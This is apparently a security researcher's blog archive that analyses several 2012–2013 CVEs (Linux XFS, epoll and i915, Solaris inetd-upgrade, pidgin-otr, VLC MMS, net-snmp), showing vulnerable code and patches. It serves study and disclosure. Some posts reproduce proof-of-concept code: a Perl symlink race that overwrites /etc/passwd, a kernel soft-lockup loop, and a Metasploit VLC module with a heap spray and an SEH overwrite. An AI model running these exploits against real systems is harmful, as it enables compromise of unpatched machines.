xorl %eax, %eax

Archive for the ‘bugs’ Category

CVE-2013-1819: Linux kernel XFS _xfs_buf_find() NULL Pointer Dereference

with 2 comments

On 21 January 2013 Dave Chinner of Red Hat committed a change that fixes a NULL pointer dereference vulnerability in XFS filesystem. The below routine is located in fs/xfs/xfs_buf.c file.

/*
 *	Finding and Reading Buffers
 */

/*
 *	Look up, and creates if absent, a lockable buffer for
 *	a given range of an inode.  The buffer is returned
 *	locked.	No I/O is implied by this call.
 */
xfs_buf_t *
_xfs_buf_find(
	struct xfs_buftarg	*btp,
	struct xfs_buf_map	*map,
	int			nmaps,
	xfs_buf_flags_t		flags,
	xfs_buf_t		*new_bp)
{
	size_t			numbytes;
	struct xfs_perag	*pag;
   ...
	/* get tree root */
	pag = xfs_perag_get(btp->bt_mount,
				xfs_daddr_to_agno(btp->bt_mount, blkno));

	/* walk tree */
   ...
	return bp;
}

First of all, the xfs_addr_to_agno() C macro is the following as defined in fs/xfs/xfs_mount.h header file.

#define xfs_daddr_to_agno(mp,d) \
        ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks))

As Dave Chinner pointed out, if we try to walk a filesystem and the extent map has corrupted block number (out of range address) the call to xfs_perag_get() above will trigger a NULL pointer dereference.

/*
 * Reference counting access wrappers to the perag structures.
 * Because we never free per-ag structures, the only thing we
 * have to protect against changes is the tree structure itself.
 */
struct xfs_perag *
xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno)
{
        struct xfs_perag        *pag;
        int                     ref = 0;
 
        rcu_read_lock();
        pag = radix_tree_lookup(&mp->m_perag_tree, agno);
        if (pag) {
               ASSERT(atomic_read(&pag->pag_ref) >= 0);
               ref = atomic_inc_return(&pag->pag_ref);
        }
        rcu_read_unlock();
        trace_xfs_perag_get(mp, agno, ref, _RET_IP_);
        return pag;
}

The radix_tree_lookup() call will use the invalid block number ‘agblocks’ (size of an allocation group) as an index key to the ‘mp->m_perag_tree’ radix tree.

The fix to this bug was to add a new variable to the susceptible routine:

 	xfs_buf_t		*bp;
 	xfs_daddr_t		blkno = map[0].bm_bn;
+	xfs_daddr_t		eofs;
 	int			numblks = 0;

And write a check for the block number not being larger than the end of the filesystem.

 	ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask));
 
+	/*
+	 * Corrupted block numbers can get through to here, unfortunately, so we
+	 * have to check that the buffer falls within the filesystem bounds.
+	 */
+	eofs = XFS_FSB_TO_BB(btp->bt_mount, btp->bt_mount->m_sb.sb_dblocks);
+	if (blkno >= eofs) {
+		/*
+		 * XXX (dgc): we should really be returning EFSCORRUPTED here,
+		 * but none of the higher level infrastructure supports
+		 * returning a specific error on buffer lookup failures.
+		 */
+		xfs_alert(btp->bt_mount,
+			  "%s: Block out of range: block 0x%llx, EOFS 0x%llx ",
+			  __func__, blkno, eofs);
+		return NULL;
+	}
+
 	/* get tree root */

Written by xorl

May 18, 2013 at 16:12

Posted in bugs, linux

Solaris 10 inetd-upgrade Symbolic Link Race Condition

leave a comment »

This was a simple and nice vulnerability discovered by Larry W. Cashdollar as we can see in his email to the Bugtraq mailing list. The buggy code was part of /lib/svc/method/inetd-upgrade shell script and specifically in the below part.

# The Following blocks of code cause the inetconv generated services to be
# re-generated, so that the latest inetconv modifications are applied to all
# services generated by it.

inetdconf_entries_file=/tmp/iconf_entries.$$
 
# Create sed script that prints out inetd.conf src line from inetconv generated
# manifest.
cat <<EOF > /tmp/inetd-upgrade.$$.sed
/propval name='source_line'/{
n
s/'//g
p
}
/from the inetd.conf(4) format line/{
n
p
}
EOF

# get list of inetconv generated manifests
inetconv_manifests=`/usr/bin/find /lib/svc/manifest -type f -name \*.xml | \
    /usr/bin/xargs /usr/bin/grep -l "Generated by inetconv"`

# For each inetconv generated manifest determine the instances that should
# be disabled when the new manifests are imported, and generate a file with
# the inetd.conf entries from all the manifests for consumption by inetconv.
   ...
	# add the manifest's inetd.conf src line to file for inetconv
	sed -n -f /tmp/inetd-upgrade.$$.sed $manifest >> \
	    $inetdconf_entries_file
done
 
rm /tmp/inetd-upgrade.$$.sed
 
# Check whether we've ever run inetconv before by looking for the
# configuration file hash.  If we haven't run it before, then we need
# to enable services based on inetd.conf.  If we have, then the
# repository is authoritative.  `unimported' will be 0 if the hash exists.
svcprop -qp hash svc:/network/inetd:default
unimported=$?
 
# Run inetconv on generated file, overwriting previous manifests and values
# in repository.
/usr/sbin/inetconv -f -i $inetdconf_entries_file

As you can see, it generates a temporary file using the parent process’ PID (by utilizing the “$$” BASH internal environment variable). Then, generates the appropriate inetconv manifest, deletes the temporary file and runs it. The problem is that the temporary file name can be easily guessed and it is stored in /tmp where an unprivileged user has write access by default.
Larry W. Cashdollar provided a PoC Perl script to demonstrate the exploitation of this vulnerability.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

First it gets a processing listing and if it finds one that includes “inetd-upgrade” string it will create a symbolic link at “/tmp/iconf_entries.” where PID is the PID of the “inetd-upgrade” process that points to “/etc/passwd” file. Due to this vulnerability, this script will modify the contents of /etc/passwd with the newly generated inetd.conf entries.

This was fixed with patch 137097-01 for SPARC and 137098-01 for X86 architectures respectively. The bug report of this issue was the 6392582 with synopsis “Upgrade from S10 FCS to snv_34 wrongly enables CDE RPC services”.

Written by xorl

September 27, 2012 at 15:13

Posted in bugs, solaris

CVE-2012-3375: Linux kernel fs/eventpoll.c File Descriptor Leak

with one comment

This vulnerability was reported by Yurij M. Plotnikov as you can read in this email of LKML. The susceptible code resides in fs/eventpoll.c and specifically in the epoll_ctl(2) system call’s code.

/*
 * The following function implements the controller interface for
 * the eventpoll file that enables the insertion/removal/change of
 * file descriptors inside the interest set.
 */
SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
                struct epoll_event __user *, event)
{
        int error;
        int did_lock_epmutex = 0;
        struct file *file, *tfile;
        struct eventpoll *ep;
        struct epitem *epi;
        struct epoll_event epds;

        error = -EFAULT;
        if (ep_op_has_event(op) &&
            copy_from_user(&epds, event, sizeof(struct epoll_event)))
                goto error_return;
   ...
        if (op == EPOLL_CTL_ADD) {
                if (is_file_epoll(tfile)) {
                        error = -ELOOP;
                        if (ep_loop_check(ep, tfile) != 0)
                                goto error_tgt_fput;
                        }
                } else
                        list_add(&tfile->f_tfile_llink, &tfile_check_list);
        }
   ...
error_tgt_fput:
        if (did_lock_epmutex)
                mutex_unlock(&epmutex);

        fput(tfile);
error_fput:
        fput(file);
error_return:

        return error;
}

As you can read, if the opcode is ‘EPOLL_CTL_ADD’ it will first check if the requested file is an event by verifying its callback functions using the below routine.

static const struct file_operations eventpoll_fops;

static inline int is_file_epoll(struct file *f)
{
        return f->f_op == &eventpoll_fops;
}

However, if this check fails it will set the ‘error’ to ‘-ELOOP’ and move to the ep_loop_check() which verifies that no closed loop or deep chains will be created by adding the passed epoll file. If this fails it will jump to ‘error_tgt_fput’ to unlock and exit.
As Yurij M. Plotnikov pointed out, this code does not clear ‘tfile_check_list’ resulting in leaving open the file descriptors. The patch was to add the missing call.

 		if (is_file_epoll(tfile)) {
 			error = -ELOOP;
-			if (ep_loop_check(ep, tfile) != 0)
+			if (ep_loop_check(ep, tfile) != 0) {
+				clear_tfile_check_list();
 				goto error_tgt_fput;
+			}
 		} else

And here is the code of the missing call:

static void clear_tfile_check_list(void)
{
        struct file *file;

        /* first clear the tfile_check_list */
        while (!list_empty(&tfile_check_list)) {
                file = list_first_entry(&tfile_check_list, struct file,
                                        f_tfile_llink);
                list_del_init(&file->f_tfile_llink);
        }
        INIT_LIST_HEAD(&tfile_check_list);
}

Finally, Yurij M. Plotnikov also provided a PoC code to reproduce a kernel soft lockup. Here is this code.

#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>
 
int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d\n", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd2, errno);

It enters a ‘while’ loop and opens two epoll file descriptors.

        sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d)\n", sock, errno);
 
        addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d)\n", rc, errno);
 
        rc = listen(sock, 1);
        printf("listen() -> %d(%d)\n", rc, errno);

Next, he opens a socket file descriptor and makes it passive by invoking listen(2) system call.

	event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

It invokes the buggy system call passing ‘epfd1′ pointing to the socket file descriptor.

	event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);
 
        event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

Then he adds the two epoll file descriptors.

        rc = close(epfd1);
        printf("close(epfd1) -> %d(%d)\n", rc, errno);
 
        rc = close(epfd2);
        printf("close(epfd2) -> %d(%d)\n", rc, errno);
 
        rc = close(sock);
        printf("close(sock) -> %d(%d)\n", rc, errno);
 
        sleep(1);
        printf("\n\n");
    }
    return 0;
}

At the end of the loop, it attempts to close all of the opened file descriptors and wait for 1 second until the next iteration.

As you can see, the last calls to epoll_ctl(2) system call were passing file descriptors which were pointing to each other. This leads to a loop resulting in reaching the vulnerable code and since the file descriptors are not properly closed, it will eventually lead to a kernel soft lockup after a couple of iterations.

Written by xorl

August 14, 2012 at 16:55

Posted in bugs, linux

CVE-2012-2369: pidgin-otr Log Message Format String

leave a comment »

The issue was discovered by intrigeri as we can see in this email at oss-security mailing list. Additionally, from the website of the project we can learn that this does not affect other applications using libotr. Here is the vulnerable code as seen in otr-plugin.c.

static void log_message_cb(void *opdata, const char *message)
{
    purple_debug_info("otr", message);
}

Where purple_debug_info() is defined with the following prototype.

void void void purple_debug_info (const char * category,
				  const char * 	format,
				  ...	 
				 )

And of course, this means that the way this is called in log_message_cb() is insecure since there is no format string specifier resulting to a classic format string vulnerability.

The fix was to add the missing specifier with the below patch.

static void log_message_cb(void *opdata, const char *message)
{
-    purple_debug_info("otr", message);
+    purple_debug_info("otr", "%s", message);
}

Written by xorl

May 18, 2012 at 10:02

Posted in bugs

Linux kernel DRM Intel i915 Multiple IOCTL Integer Overflows

leave a comment »

A few days ago I was checking the ChangeLog of 3.3.5 release of the Linux kernel. As you can see the issues were reported by Xi Wang and the exact code for the first vulnreability is located at drivers/gpu/drm/i915/i915_gem_execbuffer.c and below you can see the code snippet.

static int
i915_gem_do_execbuffer(struct drm_device *dev, void *data,
                       struct drm_file *file,
                       struct drm_i915_gem_execbuffer2 *args,
                       struct drm_i915_gem_exec_object2 *exec)
{
        drm_i915_private_t *dev_priv = dev->dev_private;
        struct list_head objects;
        struct eb_objects *eb;
        struct drm_i915_gem_object *batch_obj;
        struct drm_clip_rect *cliprects = NULL;
        struct intel_ring_buffer *ring;
        u32 exec_start, exec_len;
        u32 seqno;
        u32 mask;
        int ret, mode, i;
   ...
        if (args->num_cliprects != 0) {
                if (ring != &dev_priv->ring[RCS]) {
                        DRM_ERROR("clip rectangles are only valid with the render ring\n");
                        return -EINVAL;
                }

                cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
                                    GFP_KERNEL);
                if (cliprects == NULL) {
                        ret = -ENOMEM;
                        goto pre_mutex_err;
                }

                if (copy_from_user(cliprects,
                                     (struct drm_clip_rect __user *)(uintptr_t)
                                     args->cliprects_ptr,
                                     sizeof(*cliprects)*args->num_cliprects)) {
                        ret = -EFAULT;
                        goto pre_mutex_err;
                }
        }
   ...
        kfree(cliprects);
        return ret;
}

Clearly, the above kmalloc() could result in an integer overflow on 32-bit systems if the user controlled ‘args->num_cliprects’ (controlled through IOCTL) is large enough. Here you can also see how ‘drm_i915_gem_execbuffer2′ structure is defined in include/drm/i915_drm.h header file.

struct drm_i915_gem_execbuffer2 {
        /**
         * List of gem_exec_object2 structs
         */
        __u64 buffers_ptr;
        __u32 buffer_count;

        /** Offset in the batchbuffer to start execution from. */
        __u32 batch_start_offset;
        /** Bytes used in batchbuffer from batch_start_offset */
        __u32 batch_len;
        __u32 DR1;
        __u32 DR4;
        __u32 num_cliprects;
        /** This is a struct drm_clip_rect *cliprects */
        __u64 cliprects_ptr;
#define I915_EXEC_RING_MASK              (7<<0)
#define I915_EXEC_DEFAULT                (0<<0)
#define I915_EXEC_RENDER                 (1<<0)
#define I915_EXEC_BSD                    (2<<0)
#define I915_EXEC_BLT                    (3<<0)

/* Used for switching the constants addressing mode on gen4+ RENDER ring.
 * Gen6+ only supports relative addressing to dynamic state (default) and
 * absolute addressing.
 *
 * These flags are ignored for the BSD and BLT rings.
 */
#define I915_EXEC_CONSTANTS_MASK        (3<<6)
#define I915_EXEC_CONSTANTS_REL_GENERAL (0<<6) /* default */
#define I915_EXEC_CONSTANTS_ABSOLUTE    (1<<6)
#define I915_EXEC_CONSTANTS_REL_SURFACE (2<<6) /* gen4/5 only */
        __u64 flags;
        __u64 rsvd1;
        __u64 rsvd2;
};

The fix was to add the missing checks as shown below.

 		}
 
+		if (args->num_cliprects > UINT_MAX / sizeof(*cliprects)) {
+			DRM_DEBUG("execbuf with %u cliprects\n",
+				  args->num_cliprects);
+			return -EINVAL;
+		}
 		cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
 				    GFP_KERNEL);

The second vulnerability is on the same file and it was also reported by Xi Wang. Here is the equivalent code snippet.

int
i915_gem_execbuffer2(struct drm_device *dev, void *data,
                     struct drm_file *file)
{
        struct drm_i915_gem_execbuffer2 *args = data;
        struct drm_i915_gem_exec_object2 *exec2_list = NULL;
        int ret;

        if (args->buffer_count < 1) {
                DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
                return -EINVAL;
        }

        exec2_list = kmalloc(sizeof(*exec2_list)*args->buffer_count,
                             GFP_KERNEL | __GFP_NOWARN | __GFP_NORETRY);
   ...
        ret = copy_from_user(exec2_list,
                             (struct drm_i915_relocation_entry __user *)
                             (uintptr_t) args->buffers_ptr,
                             sizeof(*exec2_list) * args->buffer_count);
   ...
        ret = i915_gem_do_execbuffer(dev, data, file, args, exec2_list);
        if (!ret) {
                /* Copy the new buffer offsets back to the user's exec list. */
                ret = copy_to_user((struct drm_i915_relocation_entry __user *)
                                   (uintptr_t) args->buffers_ptr,
                                   exec2_list,
                                   sizeof(*exec2_list) * args->buffer_count);
                if (ret) {
                        ret = -EFAULT;
                        DRM_ERROR("failed to copy %d exec entries "
                                  "back to user (%d)\n",
                                  args->buffer_count, ret);
                }
        }

        drm_free_large(exec2_list);
        return ret;
}

Here we have an identical possible integer overflow on the kmalloc() call that uses the user controlled ‘args->buffer_count’ (once again controlled through IOCTL). The fix was to add the missing checks.

 	int ret;
 
-	if (args->buffer_count < 1) {
+	if (args->buffer_count < 1 ||
+	    args->buffer_count > UINT_MAX / sizeof(*exec2_list)) {
 		DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
 		return -EINVAL;

It is interesting that I was not able to find any CVE or security advisory for these vulnerabilities apart from the Linux kernel’s ChangeLog.

Written by xorl

May 17, 2012 at 10:13

Posted in bugs, linux

CVE-2012-1775: VLC MMS Support Stack Overflow

leave a comment »

As we can see in the official security advisory here, this vulnerability was reported by Florent Hochwelker (also known as TaPiOn) and it affects all versions of VLC media player up to 2.0.1 release.
The bug is very straightforward and we can find it in the MMS module available in modules/access/mms/mmstu.c. Here is the exact code snippet.

/****************************************************************************
 * MMSOpen : Open a connection with the server over mmst or mmsu
 ****************************************************************************/
static int MMSOpen( access_t  *p_access, vlc_url_t *p_url, int  i_proto )
{
    access_sys_t *p_sys = p_access->p_sys;
    int           b_udp = ( i_proto == MMS_PROTO_UDP ) ? 1 : 0;

    var_buffer_t buffer;
    char         tmp[4096];
    uint16_t     *p;
    int          i_server_version;
    int          i_tool_version;
    int          i_update_player_url;
  ...
    /* *** send command 1 : connection request *** */
    var_buffer_initwrite( &buffer, 0 );
    var_buffer_add16( &buffer, 0x001c );
    var_buffer_add16( &buffer, 0x0003 );
    sprintf( tmp,
             "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
             GUID_PRINT( p_sys->guid ),
             p_url->psz_host );
    var_buffer_addUTF16( &buffer, tmp );

    mms_CommandSend( p_access,
                     0x01,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0x0004000b,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );

    if( mms_CommandRead( p_access, 0x01, 0 ) < 0 )
    {
  ...
    }
  ...
    /* *** should make an 18 command to make data timing *** */

    /* *** send command 2 : transport protocol selection *** */
    var_buffer_reinitwrite( &buffer, 0 );
    var_buffer_add32( &buffer, 0x00000000 );
    var_buffer_add32( &buffer, 0x000a0000 );
    var_buffer_add32( &buffer, 0x00000002 );
    if( b_udp )
    {
        sprintf( tmp,
                 "\\\\%s\\UDP\\%d",
                 p_sys->sz_bind_addr,
                 7000 ); // FIXME
    }
    else
    {
        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
    }
    var_buffer_addUTF16( &buffer, tmp );
    var_buffer_add16( &buffer, '0' );

    mms_CommandSend( p_access,
                     0x02,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0xffffffff,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );
  ...
    msg_Info( p_access, "connection successful" );

    return VLC_SUCCESS;
}

It is quite obvious to notice the three vulnerable sprintf(3) calls using ‘tmp’ as the destination which is a statically allocated buffer with size of 4096 Bytes. The fix was to first replace the statically allocated buffer with a pointer:

     var_buffer_t buffer;
-    char         tmp[4096];
+    char         *tmp;
     uint16_t     *p;

And then use asprintf(3) instead of the insecure sprintf(3) to dynamically allocate the appropriate space for each string.

     var_buffer_add16( &buffer, 0x0003 );
-    sprintf( tmp,
+    if( asprintf( &tmp,
              "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
              GUID_PRINT( p_sys->guid ),
-             p_url->psz_host );
+             p_url->psz_host ) < 0 )
+    {
+        var_buffer_free( &buffer );
+        net_Close( p_sys->i_handle_tcp );
+        return VLC_ENOMEM;
+    }
+
     var_buffer_addUTF16( &buffer, tmp );
+    free( tmp );

And the other two as well:

     if( b_udp )
     {
-        sprintf( tmp,
-                 "\\\\%s\\UDP\\%d",
-                 p_sys->sz_bind_addr,
-                 7000 ); // FIXME
+        if( asprintf( &tmp,
+                    "\\\\%s\\UDP\\%d",
+                    p_sys->sz_bind_addr,
+                    7000 ) < 0) // FIXME
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     else
     {
-        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
+        if( asprintf( &tmp, "\\\\192.168.0.1\\TCP\\1242" ) < 0 )
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     var_buffer_addUTF16( &buffer, tmp );
     var_buffer_add16( &buffer, '0' );
+    free( tmp );

Metasploit project released an exploit module for this vulnerability written by sinn3r and juan vazquez. So, we will see how vlc_mms_bof.rb exploits the bug.

First we have the usual Metasploit initialization code…

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "VLC MMS Stream Handling Buffer Overflow",
			'Description' => %q{
					This module exploits a buffer overflow in VLC media player VLC media player prior
				to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
				in a stack buffer overflow when handling a malicious MMS URI.

				This module uses the browser as attack vector. A specially crafted MMS URI is
				used to trigger the overflow and get flow control through SEH overwrite. Control
				is transferred to code located in the heap through a standard heap spray.

				The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
			},
			'License'     => MSF_LICENSE,
			'Author'      =>
				[
					'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References' =>
				[
					['CVE', '2012-1775'],
					['OSVDB', '80188'],
					['URL', 'http://www.videolan.org/security/sa1201.html'],
					# Fix commit diff
					['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
				],

Since it exploits sprintf(3) it cannot use NULL Byte so this is configured as a bad character and the payload space is set to 1000. Also, you can see the default options for exit function and the initial auto-run script.

			'Payload' =>
				{
					'BadChars'        => "\x00",
					'Space'           => 1000,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},

Next, we see the two targets defined which are Internet Explorer 6 and 7 for Microsoft Windows XP SP3 platform.

			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with VLC 2.0.0
					[ 'Automatic', {} ],
					[
						'Internet Explorer 6 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1550',
							'Padding' => '0'
						}
					],
					[
						'Internet Explorer 7 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1600',
							'Padding' => '1'
						}
					]
				],
			'DisclosureDate' => "Mar 15 2012",
			'DefaultTarget' => 0))

Finally, it will also utilize the JavaScript obfuscation support.

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

Now, moving to the actual code there is the detection code that based on the received User-Agent string it will identify the client’s browser.

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + 7.0
				my_target = targets[2]
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

Next is the routine that will exploit the vulnerability. Firstly it uses the above function to identify the target:

	def on_request_uri(cli, request)
		#Pick the right target
		my_target = get_target(cli, request)
		if my_target.nil?
			vprint_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

And then based on the target’s architecture it will initialize the equivalent variable as well as the NOP and payload encoding ones.

		#ARCH used by the victim machine
		arch = Rex::Arch.endian(my_target.arch)
		nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
		code = Rex::Text.to_unescape(payload.encoded, arch)

Then constructs the JavaScript heap-spray payload:

		# Spray overwrites 0x30303030 with our payload
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['OffsetShell']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var i=0; i < #{my_target['Blocks']}; i++) {
			heap_obj.alloc(block);
		}
		JS

		#Use heaplib
		js_spray = heaplib(spray)

Obfuscates it:

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
			js_spray.obfuscate
		end

And finally set the appropriate IP addresses:

		src_ip = Rex::Socket.source_address.split('.')
		hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
		# Try to maximize success on IE7 platform:
		# If first octet of IP address is minor than 16 pad with zero
		# even when heap spray could be not successful.
		# Else pad following target heap spray criteria.
		if ((hex_ip.to_i(16) >> 24) < 16)
			padding_char = '0'
		else
			padding_char = my_target['Padding']
		end

		hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

The last step is the actual HTML document including the malicious JavaScript payload as part of an MMS object.

		html = <<-EOS
		<html>
    <head>
    <script>
			#{js_spray}
    </script>
    </head>
		<body>
		
			
			
			
			
#TAG-OPENING                    pluginspage="http://www.videolan.org"
				type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
				width="320"
				height="240"
				autoplay="yes"
				loop="no"
				target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
				name="vlc">
#TAG-CLOSING
		


		</body>
		</html>
		EOS

		#Remove extra tabs in HTML
		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious page")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end
en

Due to wordpress sensitivity to EMBED tags, I have renamed them to TAG-OPENING and TAG-CLOSING

Written by xorl

May 16, 2012 at 18:38

Posted in bugs

CVE-2012-2141: net-snmp Read out-of-bounds

leave a comment »

This issue was reported by Jan Lieskovsky and we can find the susceptible code in agent/mibgroup/agent/extend.c file. Here is the exact function as seen in 5.6.1.1 version of Net-SNMP package.

/*
 *  Multi-line output handler
 *  Locate the appropriate entry (using _extend_find_entry)
 *  and return the appropriate output line
 */
int
handle_nsExtendOutput2Table(netsnmp_mib_handler          *handler,
                     netsnmp_handler_registration *reginfo,
                     netsnmp_agent_request_info   *reqinfo,
                     netsnmp_request_info         *requests)
{
    netsnmp_request_info       *request;
    netsnmp_table_request_info *table_info;
    netsnmp_extend             *extension;
    char *cp;
    int line_idx;
    int len;

    for ( request=requests; request; request=request->next ) {
        if (request->processed)
            continue;

        table_info = netsnmp_extract_table_info( request );
        extension  = _extend_find_entry( request, table_info, reqinfo->mode );
 ...
        if (!extension) {
 ...
        }

        switch (reqinfo->mode) {
        case MODE_GET:
        case MODE_GETNEXT:
            switch (table_info->colnum) {
            case COLUMN_EXTOUT2_OUTLINE:
                /* 
                 * Determine which line we've been asked for....
                 */
                line_idx = *table_info->indexes->next_variable->val.integer;
                cp  = extension->lines[line_idx-1];

                /* 
                 * ... and how long it is.
                 */
                if ( extension->numlines > line_idx )
                    len = (extension->lines[line_idx])-cp -1;
                else if (cp)
                    len = strlen(cp);
                else
                    len = 0;

                snmp_set_var_typed_value( request->requestvb,
                                          ASN_OCTET_STR, cp, len );
                break;
            default:
                netsnmp_set_request_error(reqinfo, request, SNMP_NOSUCHOBJECT);
                continue;
            }
            break;
        default:
            netsnmp_set_request_error(reqinfo, request, SNMP_ERR_GENERR);
            return SNMP_ERR_GENERR;
        }
    }
    return SNMP_ERR_NOERROR;
}

From the code comments we can easily find out what this function is used for. Next, from the above routine we can see a signed integer named ‘line_idx’ which is used as an index to the extension table. Consequently, if a user requests (via SNMP GET or GETNEXT) an entry from a certain MIB sub-tree that is beyond the extension table’s bounds it will lead to read out-of-bounds since there are no bounds checks. If this does not crash the application it will result in an invalid pointer stored in ‘cp’ variable.
To fix this bug, the following patch was applied.

                  * Determine which line we've been asked for....
                  */
                 line_idx = *table_info->indexes->next_variable->val.integer;
+                if (line_idx < 1 || line_idx > extension->numlines) {
+                    netsnmp_set_request_error(reqinfo, request, SNMP_NOSUCHINSTANCE);
+                    continue;
+                }
                 cp  = extension->lines[line_idx-1];

This checks that the index value is not less than one and not more than the actual lines of the extension table.

Written by xorl

May 11, 2012 at 23:56

Posted in bugs

Follow

Get every new post delivered to your Inbox.

Join 62 other followers